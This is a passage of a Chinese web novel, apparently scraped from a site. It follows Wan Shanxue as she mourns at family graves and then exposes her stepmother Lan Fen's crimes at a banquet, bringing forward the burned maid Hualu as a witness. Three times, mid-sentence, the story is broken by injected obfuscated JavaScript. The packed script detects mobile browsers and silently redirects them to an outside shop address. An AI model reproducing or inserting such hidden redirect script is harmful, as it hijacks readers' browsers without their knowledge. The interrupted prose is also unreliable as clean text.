在兰家盘桓半日，细细商议了南下诸般细节。临别时，万山雪含泪将欲在万家宴上揭露兰芬之事和盘托出。 黄夫人听罢沉默不语，只是揽她在怀里，一下一下抚摸着后背，颇为怜惜。 兰中正愀然片刻，缓缓道：“既想清楚了，便去做吧，不必有后顾之忧。来年我们换处大些的宅子，将来你与毓儿回来，总有家可归。莫怕。” 万山雪的眼泪，终于夺眶而出。 离开兰家时，天色已浓黑如墨。马车行驶在寂静的街道上，车轮辘辘。她倚着车壁，掌心微微汗湿，心中却燃着一簇跳动的火苗。 她知道，那把火，很快就要燎原了。 63. 第 63 章 接下来两日，万山雪与丰德反复商讨行程以及南下之后送礼应对茶园火灾等诸项事宜，忙得脚不沾地。 她还抽空去了一趟将军府，借着夜色将花露秘密接出，安置妥当。 诸事忙完，临近黄昏，她独自站在窗边，环顾处于薄暮之中的京城。 灯火零星，街巷沉在墨色里，白日里的喧嚣沸腾仿佛都被这寒夜吸了去，只留下一片庞大的寂静。 明日，便是万家大宴宾客的日子。 这个她生于斯、长于斯，承载了所有荣辱悲欢的京城，等再回来时，怕就真真是客了。一股混杂着决绝与悲怆的孤寂，无声无息漫上心头。 “红璎，”她轻声唤道，“备些香烛纸马，还有祖母她们素日爱吃的点心果子，明日侵早我们出城一趟。” 天色微明，马车便出了城门，向西郊缓缓而行。 冬日郊外，万物萧索，枯草在凌厉的北风中瑟瑟发抖，远远便望见万家祖坟里的森森松柏。 黄褐凋零的天地间，那点子绿色非但未添生机，反而更显寂寥苍茫。 到了墓地前，万山雪让红璎先去春草嬷嬷坟上：“你们娘俩定有好些悄悄话要说，去吧。” 红璎眼圈一红，重重点头。万山雪则独自提着篮子走向祖母的墓碑。 经年累月，石碑上镌刻的字迹已被风雨磨去棱角。坟前有些新鲜的香灰和未燃尽的纸钱边角，想来是前些日子，万山锦中了举人后，来告慰过祖母。 看着那点香灰，她心头百味杂陈。 想起祖母去世时，油尽灯枯之际，仍强撑着一口气，当着众人的面拉着兰芬的手，将私房体己尽数交付，千叮咛万嘱咐，话语里满是托付她姐弟二人的郑重恳求。 祖母一生谨慎要强，最重体面。那时她只以为是祖母信极了兰芬。如今想来，何其心酸。 那时她与弟弟年幼，祖母病重期间，兰芬衣不解带日夜陪侍在侧，殷勤备至，隔绝了所有可能接近祖母受托付的人。祖母怕是早已看透，却无力回天。索性当着族亲的面，将所有钱财明晃晃赠予兰芬，一是实在无人可托，二是要众人做个见证——我给了你全部身家，你日后若亏待我的孙儿孙女，便是背信忘义，要受世人唾骂。 这是祖母在绝境中，能为他们姐弟争取到的一点保障。 最后时刻，祖母是攥着她的手，带着满眼的眷恋担忧咽下最后一口气的。 万山雪缓缓跪下，点燃线香，将带来的几样精细点心一样样摆好。 香烟袅袅升起，模糊了石碑冰冷的轮廓。她低声诉说道：“祖母，孙女要去做一件大事，一件会令门楣蒙尘，会让您在九泉之下痛心疾首的事。祖母一生最重体面斯文，想来必会怨我无情，不顾家族脸面。” “可是祖母，孙女不要委屈自己，去成全他们的荣光。那个家早已将我与弟弟弃如敝屣，我们也没必要再为他们考量半分。等我走完这一生，与您老人家团圆之时，再在您面前磕头认错吧。” 纸钱被点燃，橘红的火舌舔舐着黄纸，很快化作黑蝶般的灰烬，在寒风中打着旋儿盘旋，最终散入空中，像是无声而苍凉的应答。 她端端正正磕了三个头，额头触在冰冷坚硬的地面上，许久才起身走向不远处另一座坟茔。 那是她生母的长眠之地。 兰蘅坟前的荒草已长到小腿高，显然久未打理，坟前也无半点祭奠过的痕迹。便是不提十月寒衣节，万山锦中了举人，竟不来给这位嫡母兼姨母上柱香报个喜么？ 心口像是被钝器狠狠凿了一下，兰芬如今，真是连表面功夫都懒得做了。 京城有个不成文的旧俗：若女子出嫁前长辈已逝，婚后便不宜再回娘家上坟，说是对娘家兄弟的运势有妨碍。 出嫁前，兰芬曾郑重对她提过好几次，当时全没放心上，而今想来，真是莫大的讽刺。 她谨守规矩不曾来过，可她的娘家兄弟又何曾好到哪里去？ 亲弟弟无人管教，日渐庸碌；继弟虽在读书上用了功，却心性狭隘，钻营功利，将来面对过江之鲫般的天下英才，还不知要如何自怨自艾。这等心胸气量，即便将来真有些许出息，她也瞧不上。 “娘。”甫一开口，喉头便哽住了。 她慢慢蹲下身，伸出手，一点点拔去坟前的枯草。指尖被草茎划得生疼，她却恍若未觉。清理出一小块干净的地方，摆上母亲生前爱吃的果子点心，那是春草从前日日念叨的，她总算记住了。 寒风掠过坟茔，卷起枯叶纸灰，发出哔哔啵啵的碎响，似呜咽，似叹息。 “这些年，人人都叹息，说我和弟弟没遗传到您半点聪慧灵秀。” 她将脸颊轻轻贴在冰凉的石碑上，仿佛这样能汲取到一丝早已遥远模糊的温暖，“生了我们两个愚钝的孩子，您会不会后悔？可是娘，弟弟虽顽劣，但害人害己的恶事，他从未做过，这一点，或可告慰您的在天之灵。至于我……” 她顿住，积蓄已久的眼泪终于成串滚落，迅速没入坟前的泥土里。 “我识人不清，害死了乳母……故而今日，我必须要在万家那场盛宴上，撕开一切伪装，让兰芬的真实面目暴露在光天化日之下。女儿要走了，再回来不知要到何年何月。您与阿母在地下彼此做个伴，互相照应。待女儿活出个人样，再回来看你们。” 她双手合拢，默立片刻，直到山风将泪水吹干，留下紧绷的凉意，才转身走向春草嬷嬷的坟冢。 红璎已祭拜完，正红着眼眶站在不远处。 万山雪带来的，是春草生前最爱的艾草香。她看着青烟摇曳，默默垂泪。 面对春草嬷嬷，她不知道该说什么，翻涌的愧疚疼痛，沉甸甸地压在心头，让她几乎喘不过气。 纵然已知晓，兰芬早对春草下了毒手，可自责愧疚不仅未减半分，反而与日俱增。 说到底，兰芬对春草的嫉恨谋害，根子仍在她身上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975114|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>若非她当年懵懂，轻信兰芬疏远乳母，春草又怎会因对她严格要求而成为兰芬的眼中钉？便是将兰芬千刀万剐，她也无法为自己的过失找到任何开脱的借口。 纸钱缓缓燃尽，最后一缕青烟散入空中。 万山雪深深俯下身，额头抵在冰冷的土地上，压抑许久的抽泣终于冲破喉咙，肩头剧烈地颤抖着。 良久，万山雪才勉强平复，对着墓碑哑声道：“阿母，是我不好……我这一生，最愧对您和红璎。这份债，我用余生去偿。” 晨间寒风刺骨，红璎再三催促，她终于恋恋转身，与红璎相偕离开。 走到半途，忍不住再回身望去。 土堆与石碑沉默地矗立在冬日苍茫的天色下。来时心中空茫的悲怆，此刻渐渐沉淀下去，浮上心头的，是剧痛过后的平静。 亲人已逝，万家宅院里的那点虚假温情也早已烂透。这世上能够庇护她的，从来不是父兄姓氏，亦非夫家门楣，而是她自己。 祖母的深谋远虑、生母未竟的眷爱、乳母毫无保留的牺牲…… 这三位长眠于地下的女性，给出的温厚的爱，早已融入她的骨血，成为支撑她与命运抗争的燃料。 她对着墓地的方向，最后深深一揖，之后果决转身，再也没有回头。 脚步踏在冻硬的土地上，背影挺直如经霜的青竹，她大步向前走去，将从前那个渴求父爱期盼夫怜、在深宅中小心翼翼挣扎的万山雪，彻底留在了身后呼啸的北风里。 天光大亮。 京城几条主要街道、万家附近的巷口、乃至一些热闹茶馆酒肆的醒目墙角，悄无声息地出现了许多浆糊新贴的纸榜。 “万家继室兰芬，毒杀先夫人侍女，天理昭昭，冤魂泣血！” “伪善主母，构陷嫡女，勾结外官逼死人命，其心可诛！” “万府旧婢花露泣血控诉：兰芬恶行，罄竹难书！” “贺中举？祭冤魂！万家盛宴，血债开场！” …… 落款处，皆是一个模糊却刺目的暗红色手印，如同血痕。 人们很快便发现了这些如同鬼魅般突然出现的字句。惊愕、猜疑与兴奋的低语如同水入滚油，迅速在清晨清冷的空气中炸开。一传十，十传百，消息经过好事者的唇舌，如同长了翅膀的信使，飞向京城各个角落。 待到日头高升，万家所在的整条巷子已是热闹非凡，前来道贺的宾客车马与围在门前指指点点的看客们熙熙攘攘，围了个水泄不通。 万家仆役慌作一团，七手八脚四处撕扯那些纸榜，奈何贴得牢固，撕不干净，反而留下更多残迹，更显心虚。 红璎打听明白，说兰芬得了信，惊怒交加之下，竟晕厥数次，醒来强撑着身子应酬，命令家丁严密封锁消息，驱散闲人，但如何堵得住悠悠众口？ 宾客们怀着各种心思陆续登门，纵然用心遮掩，可那贺喜的笑声里，还是透出几分不自然来。 64. 第 64 章 万山雪佯装无事，一如往常在店里帮忙。 待太阳升得高了，便对丰德笑道：“丰叔，我今儿得回去给二弟捧个场，店里就辛苦您和各位兄弟照应了。” 丰德点点头，一双阅尽世事的眼睛却深深地望着她。 她心下了然，他什么都知道。可他是将家看得比性命还重的人，她不指望他能理解她将要掀起的惊涛骇浪。 她回楼上，换了一身湖蓝色织锦袄裙，滚着银狐锋毛边，外罩月白素缎面银狐裘披风，头上簪了珍珠步摇并一支点翠宝钗。这身打扮端庄持重，衬得她肤色胜雪，眉眼间透出清冷不可犯的凛然庄重。 “怪道老话说，人靠衣装马靠鞍，”她揽镜自照，对橘霜说道，“从前总是爱打扮得花朵似的，乍然穿这个颜色，年龄都像长了几岁，稳重多了，但愿我今日能镇得住场。” 橘霜有些心疼地替她整理好衣领：“待这场风波过了，奶奶爱穿什么就穿什么。我这就去接花露了，红璎跟在奶奶身旁，定要当心。” 将登马车时，丰德忽然跨步上前，声音压得极低：“二奶奶，您诸事小心。若有任何不妥，使个可靠人往店里捎信儿，丰德拼了这把老骨头，也去接您回来。” 万山雪扶着车门的手微微一顿，心口像是被什么东西撞了一下。她转过身，对上丰德那双诚恳而忧虑的眼睛，千言万语哽在喉头，却什么也说不出来。 “去吧。”丰德摆摆手，别开眼去叹息道，“既是深思熟虑后的作为，便放手去做吧。只是，切记护好自己。” 最后几个字，他说得格外郑重。 万山雪鼻尖微酸，重重点头，不再多言，弯腰进了车厢。 车轮碾过青石板路，发出规律而沉闷的声响。 巷口巷尾，三五成群的人聚着，对着墙上的字迹指指点点低声议论，见到有车马过来，迅速散开些，目光却如影随形。 万山雪在侧门下了车，余光瞥见不远处有几个被家丁推搡开的闲汉，嘴里不干不净地骂着，眼睛却溜溜地往她这边瞟，带着兴奋的窥探欲。 门房神色惶惶，忙不迭躬身引入内。 府内张灯结彩，红绸高挂，仆役们捧着酒水菜肴穿梭不息，表面一派烈火烹油般的欢喜。然而，那喜庆之下，却分明涌动着暗流。 下人们行礼问安时眼神躲闪，不敢与她对视，离开时双脚简直急得要打架。 她目不斜视，径直往主花厅走去。沿途遇见几位族亲女眷，彼此寒暄时笑容都有些勉强。她们的目光在她脸上身上牢牢黏着，似想看出些许端倪或破绽来。 花厅内已是宾客云集，喧声盈耳。男宾在左，女眷在右，中间以数扇描绘着富贵牡丹松鹤延年的大屏风作隔断，既分了内外，又不完全隔绝声气。 她冷眼看去，见父亲万有善穿着簇新的酱色缎面直裰，正强堆着笑容，与几位官场同僚及族中几位年高德劭的长辈说话，笑容虚浮在脸上，眉宇间锁着一抹焦躁。 兰芬穿着一身崭新的暗红织金缠枝牡丹纹袄裙，头上戴的赤金点翠大簪熠熠生辉，正周旋于女眷席中，言笑晏晏妙语连珠，试图以雍容气度稳住场面。可那笑容怎么看都像是用力刻画在脸上的，嘴角弧度僵硬，眼底藏着惊疑仓皇，一双眼总是不由自主地飘向花厅入口方向，带着警惕。 而今日真正的主角——新科举人万山锦，则穿着一身宝蓝色暗纹绸袄，头戴儒巾，满面红光意气风发，一改前些日子的病态，正被一群年龄相仿的同窗、同年以及年轻子弟簇拥着，接受着源源不断的恭维祝贺，尚沉浸在“十年寒窗，一朝成名”的喜悦里。 她冷笑一声，可怜天下慈母心，兰芬竟瞒得这样好，一丝没透进他的耳中去。 踏入花厅的刹那，门口处的交谈声便猛地顿住，紧接着，这短暂的静默如同涟漪般扩散开去，原本嘈杂喧闹的花厅，声音竟肉眼可见地静了下去。 无数道目光，或明或暗，或带着惊诧好奇，或带着怜悯审视等复杂情绪，齐刷刷地聚焦在她身上。 兰芬是最先反应过来的。 她脸上瞬间堆砌起加倍亲热甚至近乎谄媚的笑容，快步从女眷席中迎了上来，声音拔高几度，带着刻意的欢快：“哎哟我的儿，你可算回来了，怎耽误这样久？快，快到母亲这边来坐。弟弟方才还念叨着你呢！” 她边说边紧紧揽着万山雪的肩头，姿态亲昵，仿佛她们是天下最和睦贴心的母女，外面那些流言蜚语都是旁人恶意捏造编排的。 万山雪退后一步，当着众人毫不遮掩地避开了她的触碰，只依着礼数道贺，声音清晰而平静：“给父亲母亲道喜了。恭贺二弟金榜题名，为家门增光。” 万有善嘴唇动了动，似乎想问些什么，在众多目光注视下，终是咽了回去，只勉强维持着父亲的威严点点头：“回来就好。入席吧。” 万山雪依言，在女眷席中坐下。 那些目光并未散去，仍如蜜糖黏在她身上。她恍若未觉，姿态优雅地端起手边热茶，轻轻用杯盖撇去浮沫，浅啜一口。 宴席在这种微妙而紧绷的气氛中继续进行，丝竹管弦之声重新响起，试图掩盖那无处不在的低语。佳肴美酒如流水般呈上，觥筹交错，表面看去，似乎又恢复了热闹。 兰芬与万有善竭力扯着话题，活跃气氛，宾客们也大多配合，说着“年少有为”“前程万里”之类的吉祥话。万山锦更是被灌了不少酒，脸上红晕更盛，志得意满。 然而，那不安的暗流从未真正平息。总有一些压低的、模糊的议论，如同水底顽固的泡沫，时不时从某个角落冒出来——“听说了吗？早上……”“贴得到处都是……”“毒杀？真的假的……” 尽管说话者极力掩饰，声音含混，但在丝竹间歇、或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978911|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人举杯的短暂安静里，这些只言片语还是顽强地钻进耳朵，引起阵阵压抑的骚动。 兰芬的脸上的胭脂色泽亦撑不住了，脸颊愈发苍白，额角甚至渗出了细密的冷汗，那雍容的笑容像是糊在脸上的面具，僵硬得快要碎裂。万有善举杯向某位族老敬酒时，身子一歪，险些跌跤。 酒过三巡，或是因酒精催化，或因主家刻意引导，场内气氛竟真的被强行炒热了几分，主宾言笑晏晏，似乎暂时将那清晨的阴霾驱散了些。她甚至清楚地听到了陶谦吆五喝六的声音。 万山锦在父母的示意下，满面红光地站起身，清了清嗓子，准备向满堂宾客敬酒致谢，这无疑是今日宴席最光彩的时刻。 就在此时。 “嗒”一声轻响，并不响亮，却奇异地穿透了逐渐高涨的喧闹。 靠近万山雪坐着的几位女眷下意识停下了交谈，转头望去。 她从容地站了起来，湖蓝色的衣裙在满堂红艳与锦绣中，显得格外清冷醒目。 厅内的喧哗声，如同被一只无形的手陡然扼住了喉咙，迅速低落平息下去。无数目光再次聚焦，带着大戏开场的期待。 “父亲，母亲，诸位贵客，”万山雪声音不高，却因这骤然的寂静而显得异常清晰，“今日二弟高中，合家欢庆，本是天大的喜事。我原不该在此时，扰了诸位亲朋长辈的雅兴。” 她目光平静地扫过全场，掠过脸色瞬间惨白、浑身开始发抖的兰芬，掠过霍然站起的万有善，掠过茫然无措的万山锦，淡淡地笑了。 “然而，有些事，如同附骨之疽，深藏在锦绣华服之下，内里早已腐肉生蛆，恶臭难闻。若不及早剜去，恐终有一日毒脓溃烂，蔓延全身，玷污万氏百年门楣，辱没祖宗清誉，亦令今日在座诸位高朋挚友，蒙在鼓里，与这等污秽之人同席共饮而不自知，岂非憾事？” 话音甫落，满场哗然。 “逆女！你胡说什么！”万有善猛地一拍桌子，震得碗碟叮当乱响，他脸色铁青，“你疯了不成？立刻给我滚出去！” 兰芬更是如遭雷击，旋即厉声喊道：“雪儿，你莫非魔怔了不成？今日是你弟弟的好日子，你怎能在此胡言乱语，冲撞宾客？” 她急急看向万有善，“老爷，快让她下去休息！定是崔家事务繁忙，她劳累过度，失了心神！” 万山雪却对他们的暴怒与哭诉视若无睹，径自从宽大的袖中，取出一个扁平的紫檀木匣，拿出一叠厚厚的纸来。 “诸位请听我说完，再评判是非不迟。此乃故人血泪控诉。写这供词之人，名唤花露，曾是万家婢女，更是兰芬当年从娘家带来的、最得脸也得力的心腹丫鬟。” “花露”二字一出，厅中许多年纪稍长的宾客都露出恍然之色。花露当年作为最得脸的丫头，是步步不离兰芬的，身条好容貌佳，故而许多女眷都对她有印象。 65. 第 65 章 兰芬浑身剧颤，像被踩了尾巴的猫，声音尖利得几乎划破耳膜：“当初为着她帮你传信，我不顾多年主仆之情，狠心将其逐出家门。万山雪，你为了陷害我，竟敢勾结罪奴伪造证词，你好毒的心肠！” 她涕泪横流，转向万有善，试图抓住最后一根稻草，“老爷，她是存心要在锦儿的好日子里，毁了咱们这个家啊！” 万山雪弹了弹手中的纸张，向众人扬脸笑道：“诸位瞧瞧，这事儿奇不奇？我一个字都还未曾念出，母亲便断定，花露的供词都是在陷害她。若非有未卜先知的本领，便是母亲对这供词的内容早已心知肚明。这般急赤白脸地预先辩白，不知道的，还以为您做贼心虚呢。” 兰芬一时语塞，转而哭着扑向一旁瞠目结舌的万山锦。 万山雪不再看她，她清清嗓子，声音带着斩钉截铁的力度，穿透花厅：“花露在这供词中所述之事，桩桩件件，骇人听闻。” “其一，供词指证，继母兰芬尚在闺阁之时，便嫉恨我生母兰蘅与舅舅深得外祖宠爱。待我母亲不幸早逝，她处心积虑踏入万家门，还曾私下立誓，定要养废我们姐弟，以泄心头之愤。” “自然，此事关乎人心幽微，难有物证。落在不明就里之人眼中，或许怜她继母难为，管束严了是苛待，放纵些是失职，总难周全。”“然而——” 她话锋陡然一转，目光如电射向兰芬：“于我大婚前夕，兰芬指使其心腹丫鬟，暗中模仿我夫君崔明之的笔迹，伪造情信，诱我婚前私相授受，并趁机大肆宣扬出去，意图彻底毁我名声，却是不争的事实。此事供词中皆有详细记述，时间地点、人证物证，一应俱全，绝非空口无凭！” 厅内响起一片议论声。当年那场风波闹得沸沸扬扬，不少人都曾有耳闻，只道是万山雪行为不检，乍听如此惊人的反转，脸上皆是恍然之色。 “其二，她深知我弟弟万山毓乃嫡长子，是万家名正言顺的继承人。故表面百般溺爱纵容，实则暗中命人设法引导，刻意让他结交那些不学无术、专事吃喝玩乐的纨绔子弟，诱其沾染恶习，终至荒废学业，断其向学进取之路。此等釜底抽薪之计，用心之险恶，令人脊背生凉。” 许多与万家有旧、见过万山毓幼时聪慧模样的老辈人，闻言不禁扼腕叹息。 “其三，我乳母春草嬷嬷，忠心耿耿，因时时维护我与弟弟，屡次看破兰芬诡计，遂成其眼中钉肉中刺。兰芬便命人在专供给嬷嬷的线香之中，掺入经梨汁稀释的红信石粉。此毒经年累月，随线香烟雾吸入肺腑，侵髓蚀骨，终致嬷嬷久病缠身。据花露所述，浸毒线香至乳母出家时仍未用完，库房还有留存。” 她的眼泪流了下来，“饶是如此，兰芬仍然心有不足，我乳母到青檀寺后，毓儿心疼她有肠胃不适的老毛病，去医馆求了扁豆茯苓糕的养胃法子。兰芬知晓后，命厨娘加入豆蔻，说是能够提香增进食欲。毓儿心性单纯，哪知这三味本性相冲，融在一起反而有毒。彼时，我乳母已非尘世中人，她依然要赶尽杀绝，其心肠歹毒可见一斑。” “其四，”她语速加快，指控如连珠炮般迸发，“兰芬利用掌管中馈之便，做空账目，暗中侵吞转移我生母留下的田庄、铺面等嫁妆收益，中饱私囊。此事，只需将我母亲当年的嫁妆单子，与如今这些产业的实际账目细细核对，转移痕迹必将无所遁形。” “其五，”万山雪眼中寒光凛冽，“为彻底封住知晓其太多隐秘的花露之口，兰芬竟将花露哄骗给相国府长史陶谦为外室。花露被迫委身后产下一女，那尚在襁褓中的无辜女婴，竟被陶谦当场溺毙在花露面前。虎毒尚不食子，此等行径，禽兽不如！” 众人闻言，下意识往席间望去，这才发现陶谦夫妇早已不知所踪，无疑更坐实了万山雪的指控。 “其六，花露后来再度怀孕，历尽千辛产下一子。陶谦为夺此子，竟将刚生产完、奄奄一息的花露弃于乡下破屋，任其自生自灭！后兰芬偶然撞见，发现她命大未死，唯恐事情败露，竟丧心病狂，与陶谦联手纵火焚烧破屋。花露虽侥幸逃出，却已被烧得面目全非，喉舌被毁。” 她猛地扬起手中那叠供词，纸张哗啦作响：“这上面诸多细节，若非亲身参与谋划执行者，绝难知晓这般详尽。诸位叔伯长辈高朋贵友，若有疑我伪造、诬陷继母者，大可请来精通刑名讼狱，或是熟谙笔迹鉴定的先生，当场验看这些笔迹，亦可依供词所示线索，即刻着人去查证。我万山雪，敢在此对着天地祖宗立誓，若有半字虚言，天打雷劈，不得好死！” 最后一句毒誓，铿锵激越，震得整个花厅嗡嗡作响。 短暂的死寂之后，是彻底爆发的沸腾，几乎要掀翻屋顶。 女眷中许多人吓得脸色发白，以袖掩口，眼中满是难以置信。男宾那边亦是议论纷纷，围着万有善追问不休。 “血口喷人！全是凭空捏造！老爷，你我多年夫妻，我有什么能瞒得过你的？你要信我啊！” 兰芬彻底崩溃了，她瘫软在地，头上那支赤金点翠大簪歪斜着几乎要掉落，发髻散乱不堪，满脸涕泪混合着脂粉糊成一团，再无半分平日的雍容体面，只是语无伦次地喊着：“我知道，她是恨我，恨我占了先姐的位置，恨锦儿比毓儿上进争气！这些证词定是她精心伪造的，老爷，你万不可信这逆女胡言啊！” 万有善此刻已是面如金纸，浑身抖得如同风中落叶。 他指着万山雪，手指颤巍巍，嘴唇哆嗦了半晌，才说道：“你……你这孽障，你从哪里弄来这些污糟东西，你今日……今日是非要逼死我们吗？你说，你到底意欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983091|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何为？” “父亲！” 万山雪猛地踏前一步，腰背挺得笔直，仿佛一柄终于出鞘的利剑，所有的悲愤隐忍，在这一刻化为灼灼烈焰，从她眼中迸射出来。 “在父亲眼里，女儿和弟弟被她牵着鼻子走歪的路途，乳母的一条性命，花露被彻底毁掉的一生，还有我母亲留下的、本该属于我和弟弟的产业……所有这些，都只是我胡闹么？” “父亲身为一家之主，对于家宅里的种种异常，当真从未察觉？我乳母春草，一向身子康健，好端端的人为何会突然久病不愈？我母亲留下的嫁妆单子，父亲应当不陌生。可如今那些田庄铺面的实际收益账目，父亲可曾亲自核对过？可能对得上？” “还有毓儿,他幼时虽活泼顽皮，可也是聪颖伶俐、知道上进的孩子！他是从何时开始，流连赌坊酒肆，与那些市井无赖、纨绔子弟称兄道弟，性情大变的？父亲便是不曾对继母起疑，至少也该对幼子略有关心吧？” 她每质问一句，便逼近一步，周身散发的凌厉气势竟逼得万有善下意识后退了半步，眼神仓皇躲闪，张口结舌无言以对。 “我们姐弟年幼失恃，在这世上，父亲您本该是我们的主心骨，是我们最可倚仗、最该庇护我们的至亲。” 她说到这里，眼前忽地现出兰蘅孤寂凄清的坟头，眼泪成串淌下，每个字都因哽咽说得很艰难，却字字有千钧分量，掷地有声，“对于兰芬这十数年来的种种算计，您究竟是真的被蒙在鼓里一无所知，还是您其实早就心知肚明，却为了维持面上阖家和乐的虚假体面，宁可闭目塞听，装作天下太平，纵容这毒妇一步步戕害您的发妻留下的骨血，顶着万家主母身份胡作非为？” 她死死盯着父亲那张血色尽失的脸，透过“父亲”这重身份，直直地看向他内心的懦弱自私。 她对自己说，终究是父女一场，纵然已经失望透顶，可只要他有所歉意，她立刻就会给他台阶下。哪怕，哪怕只是一个带着歉意的眼神也好。 她静静地等着，目不转睛地盯着。可那双眼眸里，最初的震痛过后，却只有恼羞成怒与滔天恨意。 他恨她，恨她今日所作所为使他颜面丢尽，恨她毁了他多年维持的美满假象。 万山雪终于不再抱任何幻想，向后一步躲过他劈手挥过来的巴掌，静静说道：“在爹爹心里，是不是也觉得，兰芬所做的一切，纵然有错，也是为了她的亲生儿女打算，无可厚非？反正我与毓儿已然是扶不起的烂泥，不如就由着她将锦儿托举出头，反正都是您万有善的骨血，肥水流不到外人田里。您便默许了，纵容了，甚至乐见其成，是么？” 此话一出，连兰芬的哭嚎都仿佛被凝结了。所有人都屏住了呼吸，一齐盯着万有善那张迅速灰败下去的脸上。 66. 第 66 章 “万山雪！你放肆！污蔑母亲还不够，还要如此诋毁父亲，你简直丧心病狂！” 一声饱含愤怒的嘶吼炸响，是万山锦。 他终于回过神来，猛地挣脱开兰芬死死拽着他的手，踉踉跄跄冲到万山雪面前，眼睛瞪得赤红，额上青筋暴起。 “你有没有良心？依着母亲当年的家世品貌，要嫁什么样的男子寻不着？她执意要来万家做续弦，为的是担心你和万山毓遇到不善继母，受人虐待。她若真有那般歹毒心肠，你姐弟俩怎能在她眼皮子底下平安活到今日？这些年来，母亲待你们何等用心，操持这偌大家务，没有功劳也有苦劳。就凭几张不知从哪里找来的破纸，几句胡乱编造的供词，你就要将滔天罪名扣在母亲头上，还要当众羞辱父亲。你……你这等不孝不悌无情无义之人，简直不配为人！” 万山锦的激烈反应，与她料想中的如出一辙。万山雪轻轻笑了，还未说话，忽地听见一阵脚步声由远及近。 众人循声望去，只见橘霜领着一个人立在那里。 那人身形与橘霜相仿，打扮得亦是干干净净，一望而知是个爱美的年轻女子，只是怕冷似的佝偻着背。最引人注意的，是她头上那顶深色帷帽，帽檐垂下的薄纱将面孔遮得严严实实，只隐约看到模糊的轮廓。 橘霜神色肃穆，将她引到万山雪身侧站定。 而后对着怒容满面的万山锦福了一福，不卑不亢说道：“二爷方才质问得好，仅凭几张纸，如何能给一家主母定罪。空口无凭，确实难服众人。” 说罢，她在无数道目光注视下，缓缓揭开了女子头上的帷帽。 “啊——！” 离得最近的一位夫人，率先看清帽下的面容，如见鬼魅，吓得魂飞魄散，连连倒退，差点撞翻身后的椅子。 那是一张怎样的脸啊！ 大半边脸颊完全被狰狞可怖的疤痕覆盖，扭曲纠结的皮肉隆起又凹陷，泛着暗红发黑的可怖颜色，令人触目心惊。仅有右侧靠近耳际的一小块皮肤不曾损毁，却也蜡黄憔悴。 所幸，大火没有殃及到她的双眼，此刻蓄满了泪水，似是无声的控诉。 她立在那里，就是最铁证如山的凭据。 满室俱寂，所有人都被这突如其来的一幕震骇得失语，连方才慷慨激昂的万山锦也像是被扼住了喉咙，再说不出话来。携孩子赴宴的妇人们纷纷令乳母将孩子带离，胆子小的虽面露惊愕，悚然变色，却也不愿意就此离开，错失亲眼见证的机会。 令人窒息的死寂中，女眷席里忽然冲出一个丫鬟模样的女子，正是与花露感情甚笃的翠雀。 她跌跌撞撞走到花露身前，颤抖着拨开她颈侧的衣领，一颗蚕豆大小的青色痣，赫然现在众人眼前，翠雀的泪水瞬间决堤。 “花露，花露姐姐，真的是你呵！”她哆嗦得不成样子，带着哭腔问道，“这些伤疤还疼吗？到底是谁啊，谁这般歹毒，把你害成了这个样子……” 翠雀的手悬在半空，抖如筛糠，终究不忍触碰那些可怖的伤疤。 花露伸出完好的左手替她抹眼泪，两个昔日的好姐妹抱头痛哭。 花露与翠雀的相认，如同一记重锤，彻底给万山雪的供词盖棺定论，再无人再质疑方才那些话的真实性。 她曾设想过无数次，若是宾客为万家和稀泥，若是兰芬巧言狡辩，又或是万有善命人将她粗暴带离，诸般情况，她要如何应对。独独不曾想到，翠雀会有此举动，一锤定音。 看着两个丫头紧紧相拥，如同寒霜中互相支撑的两颗小草，她忽然格外地想念江心澜。 友谊真是这世间顶顶美好的存在，没有骨血之缘，却因双向认定而更牢固长久。 万山锦仍是不死心，他猛地上前揪住花露，厉声道：“说！你究竟受何人指使，胆敢来污蔑我娘！” 花露被他摇撼得站立不稳，却还是缓缓地抬起了另外一只布满疤痕、只余三根残指的手，毫不迟疑地指向了瘫软在地的兰芬。 她的嘴唇嚅动着，脖颈上的青筋凸起，拼命想要说些什么，可喉间只溢出破碎嘶哑的“嗬……嗬……”声。 没有一字一句，却比任何血泪交加的控诉都更令人心胆俱寒。两行泪水，顺着她疤痕交错的脸颊滚滚而下，将前襟打湿一片。 兰芬被那只残手指着，对上花露那双满是愤恨的眼睛，好像真的见到了从烈火中爬回来索命的冤魂厉鬼，瞳孔骤然收缩，凄厉尖叫：“鬼！鬼啊！别过来！不是我……不关我的事……是陶谦！你去找他啊！” 她双手胡乱在空中挥舞，腿脚在地上胡乱蹬踢，仿佛要驱赶什么难缠的东西，精神显然已经崩溃癫狂。 “够了……够了！孽障，你住手吧！” 